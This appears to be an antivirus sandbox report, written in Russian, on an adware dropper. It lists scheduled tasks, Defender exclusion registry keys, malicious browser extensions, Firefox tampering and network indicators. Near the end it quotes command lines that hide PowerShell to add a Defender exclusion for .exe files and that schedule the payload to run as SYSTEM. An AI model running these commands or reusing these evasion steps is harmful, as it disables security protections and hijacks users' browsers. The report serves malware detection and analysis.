Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %WINDIR%\tasks\bjyalchvbzljdzmbps.job
- <SYSTEM32>\tasks\bjyalchvbzljdzmbps
- <SYSTEM32>\tasks\grpyrbggn
- %WINDIR%\tasks\eiwdtptnixqcskxof.job
- <SYSTEM32>\tasks\eiwdtptnixqcskxof
- %WINDIR%\tasks\juqnchwqchximsd.job
- <SYSTEM32>\tasks\juqnchwqchximsd
- <SYSTEM32>\tasks\juqnchwqchximsd2
- <SYSTEM32>\tasks\hfmklejrklmgrb
- <SYSTEM32>\tasks\alxnhozurrwzd2
- <SYSTEM32>\tasks\ezldxqnjpnxblvitf2
- <SYSTEM32>\tasks\mgversdazcluhiycjxm2
- %WINDIR%\tasks\xbisiustkjmfrmmtn.job
- <SYSTEM32>\tasks\xbisiustkjmfrmmtn
- <SYSTEM32>\tasks\jwofd1
- <SYSTEM32>\tasks\itppvnunnvwj0
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса с помощью следующих ключей реестра:
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\AfDgxnpTXWshC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\AfDgxnpTXWshC' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\EDdFlBGEU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\EDdFlBGEU' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\HydogoOeOqUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\HydogoOeOqUn' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\fOlrXowzhCMU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\fOlrXowzhCMU2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\rOWINEzxVxieLVTOQxR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\rOWINEzxVxieLVTOQxR' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\lWhdEfLUbekzNDVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\lWhdEfLUbekzNDVB' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\zGEBXbyyaNJVsYril' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\zGEBXbyyaNJVsYril' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ALxNhOzUrrwZd2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ALxNhOzUrrwZd2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\HfMklEJrkLMgRB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\HfMklEJrkLMgRB' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\JUqncHWQcHxiMSd' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\JUqncHWQcHxiMSd' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\JUqncHWQcHxiMSd2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\JUqncHWQcHxiMSd2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\eZldxqNjPNxblviTF2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\eZldxqNjPNxblviTF2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\mGvERSdAZCLuhIYcJXm2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\mGvERSdAZCLuhIYcJXm2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\MDUUJioQNvfKUcLA' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\MDUUJioQNvfKUcLA' = '00000000'
Запускает большое число процессов
Патчит код
в динамической библиотеке
- Процесс simplinst.exe, модуль Windows.Storage.dll
- Процесс simplinst.exe, модуль SHELL32.dll
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\rundll32.exe
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\7zs4b52.tmp\simplinst.exe
- %TEMP%\zgebxbyyanjvsyril\cbwsqegsmftfshl\qitztkd.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_8cf7b530-613e-439b-a8c5-ccfc0e745400
- %WINDIR%\temp\__psscriptpolicytest_vjytc42k.tqo.ps1
- %WINDIR%\temp\__psscriptpolicytest_wnql3ug1.3t0.psm1
- %WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_khpmznwz.vof.ps1
- %WINDIR%\temp\__psscriptpolicytest_w5jxac4d.4pp.psm1
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %WINDIR%\temp\mduujioqnvfkucla\izwmnwovzewajcj\mniotjw.exe
- %ProgramFiles(x86)%\eddflbgeu\gghsjx.dll
- C:\$recycle.bin\s-1-5-18\desktop.ini
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempvtrslf
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles%\mozilla firefox\browser\features\{8a5e50f3-a0b2-4e47-9aa2-6b296db33513}.xpi
- %ProgramFiles%\mozilla firefox\browser\omni.ja.bak
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\cbdb73139009e1d46d18e48ab90b2f00
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\cbdb73139009e1d46d18e48ab90b2f00
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\8b2b9a00839eed1dfdccc3bfc2f5df12
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\8b2b9a00839eed1dfdccc3bfc2f5df12
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\b46811c17859ffb409cf0e904a4aa8f8
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\b46811c17859ffb409cf0e904a4aa8f8
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\9e62dd75009a293e0af9565ae544f23e_c5dc66b967c4a97e401f60b0221602aa
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\9e62dd75009a293e0af9565ae544f23e_c5dc66b967c4a97e401f60b0221602aa
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\d6aa22da63aeaa61826c0d7c76455f33_88cf783fe0f111031322abb31b4b2526
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\d6aa22da63aeaa61826c0d7c76455f33_88cf783fe0f111031322abb31b4b2526
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\icons\ficon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\icons\icon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\icons\icon16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\icons\icon48.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\main.js
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\am\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ar\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\be\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\bg\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\bn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ca\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\cs\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\da\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\de\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\el\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\en_gb\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\en_us\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\es\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\es_419\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\et\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\fa\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\fi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\fil\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\fr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\gu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\he\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\hi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\hr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\hu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\id\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\it\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ja\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\kn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ko\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\lt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\lv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\mk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ml\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\mr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ms\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\nl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\no\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\pl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\pt_br\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\pt_pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ro\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ru\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sq\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\sw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\ta\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\te\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\th\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\tr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\uk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\vi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\zh_cn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\gljgfgfejfcopcjhaienfhbmcpopbhhp\2021.03.14_0\_locales\zh_tw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %ProgramFiles(x86)%\eddflbgeu\ejuacru.xml
- %ProgramFiles(x86)%\folrxowzhcmu2\qgpgdhlsljdxf.dll
- %ProgramFiles(x86)%\folrxowzhcmu2\dxjrzmy.xml
- %ALLUSERSPROFILE%\lwhdeflubekzndvb\cidtoeo.wsf
- %ALLUSERSPROFILE%\lwhdeflubekzndvb\xmpiwkt.xml
- %ProgramFiles(x86)%\rowinezxvxielvtoqxr\fzmitqq.dll
- %ProgramFiles(x86)%\rowinezxvxielvtoqxr\lycgbgc.xml
- %ProgramFiles(x86)%\afdgxnptxwshc\veqyctd.dll
- %ProgramFiles(x86)%\afdgxnptxwshc\cgpmznh.xml
- %ProgramFiles(x86)%\hydogooeoqun\igowofb.dll
- %WINDIR%\temp\mduujioqnvfkucla\bywbhbnw\zegmqqu.dll
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\search-metadata.json
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search-metadata.json
- %TEMP%\zgebxbyyanjvsyril\wgajsjdx\vwskgzg.wsf
Удаляет файлы, которые сам же создал
- %WINDIR%\temp\__psscriptpolicytest_vjytc42k.tqo.ps1
- %WINDIR%\temp\__psscriptpolicytest_wnql3ug1.3t0.psm1
- %WINDIR%\temp\__psscriptpolicytest_khpmznwz.vof.ps1
- %WINDIR%\temp\__psscriptpolicytest_w5jxac4d.4pp.psm1
- <SYSTEM32>\tasks\grpyrbggn
- %WINDIR%\tasks\bjyalchvbzljdzmbps.job
- <SYSTEM32>\tasks\bjyalchvbzljdzmbps
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempvtrslf
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles(x86)%\eddflbgeu\ejuacru.xml
- %WINDIR%\tasks\juqnchwqchximsd.job
- <SYSTEM32>\tasks\juqnchwqchximsd
- %ProgramFiles(x86)%\folrxowzhcmu2\dxjrzmy.xml
- %ALLUSERSPROFILE%\lwhdeflubekzndvb\xmpiwkt.xml
- %ProgramFiles(x86)%\rowinezxvxielvtoqxr\lycgbgc.xml
- %ProgramFiles(x86)%\afdgxnptxwshc\cgpmznh.xml
- %WINDIR%\tasks\xbisiustkjmfrmmtn.job
- <SYSTEM32>\tasks\xbisiustkjmfrmmtn
- <SYSTEM32>\tasks\jwofd1
- <SYSTEM32>\tasks\itppvnunnvwj0
- %TEMP%\7zs4b52.tmp\simplinst.exe
- %WINDIR%\tasks\eiwdtptnixqcskxof.job
- <SYSTEM32>\tasks\eiwdtptnixqcskxof
Изменяет следующие файлы
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\addonstartup.json.lz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite
- %ProgramFiles%\mozilla firefox\browser\omni.ja
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferences
- %LOCALAPPDATA%\microsoft\edge\user data\default\secure preferences
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search.json.mozlz4
Подменяет следующие файлы
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
Сетевая активность
Подключается к
- 'se####e-domain.xyz':443
- 'x1.#.lencr.org':80
- 'r1#.#.lencr.org':80
- 'clients2.google.com':443
- 'cl######.googleusercontent.com':443
- 'a.###wlag.com':80
- 'localhost':49703
- 'a.####ingbeetle.com':443
- 'en#####6544.jcloud.kz':80
- 'rf#####.trace-monitors.com':80
- 'rf#####.trace-monitors.com':443
- 'rf#####.testrequest.info':443
TCP
Запросы HTTP GET
- http://r1#.#.lencr.org/113.crl
- http://www.ra#####lestorage.com/updates/yd/yt_own_1/win/upd2set.js?32#####
- http://rf#####.trace-monitors.com/updates/scripts/upd2bg.js?58#####
Запросы HTTP POST
- http://a.###wlag.com/api2/google_api_ifi
Другие
- 'se####e-domain.xyz':443
- 'clients2.google.com':443
- 'cl######.googleusercontent.com':443
- 'a.####ingbeetle.com':443
- 'rf#####.testrequest.info':443
UDP
- DNS ASK se####e-domain.xyz
- DNS ASK x1.#.lencr.org
- DNS ASK r1#.#.lencr.org
- DNS ASK clients2.google.com
- DNS ASK cl######.googleusercontent.com
- DNS ASK a.###wlag.com
- DNS ASK fi###.xetcom.com
- DNS ASK a.####ingbeetle.com
- DNS ASK ra#####lestorage.com
- DNS ASK en#####6544.jcloud.kz
- DNS ASK rf#####.trace-monitors.com
- DNS ASK rf#####.testrequest.info
Другое
Ищет следующие окна
- ClassName: 'Mozilla_firefox_default-release_RemoteWindow' WindowName: ''
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\7zs4b52.tmp\simplinst.exe' /te "HDRD8DDRD1DDRD5ZCRD4FFRD6YFRD8YFRD8VDRD1GDRD0LDRD3SDRD7ADRD2ZFRD9RCRD3SDRD6DDRD1QDRD2MDRD6KDRD6ZFRD4QDRD0MDRD7KDRD7YFRD5TDRD7MDRD7EDRD9NDRD8LDRD5MDRD7ODRD0TDRD6ADRD9YFRD0ADRD9MDRD1VDRD4DDR...
- '%TEMP%\zgebxbyyanjvsyril\cbwsqegsmftfshl\qitztkd.exe' YS /S
- '%WINDIR%\temp\mduujioqnvfkucla\izwmnwovzewajcj\mniotjw.exe' ZI /S
- '<SYSTEM32>\wscript.exe' "%TEMP%\zGEBXbyyaNJVsYril\WgaJsJdX\VwSkGzG.wsf"
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=T...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bjYAlchVbzljdZMbps" /SC once /ST 19:06:00 /RU "SYSTEM" /TR "\"%TEMP%\zGEBXbyyaNJVsYril\cBWSQEGsMfTfshl\qiTZtKd.exe\" YS /S" /V1 /F
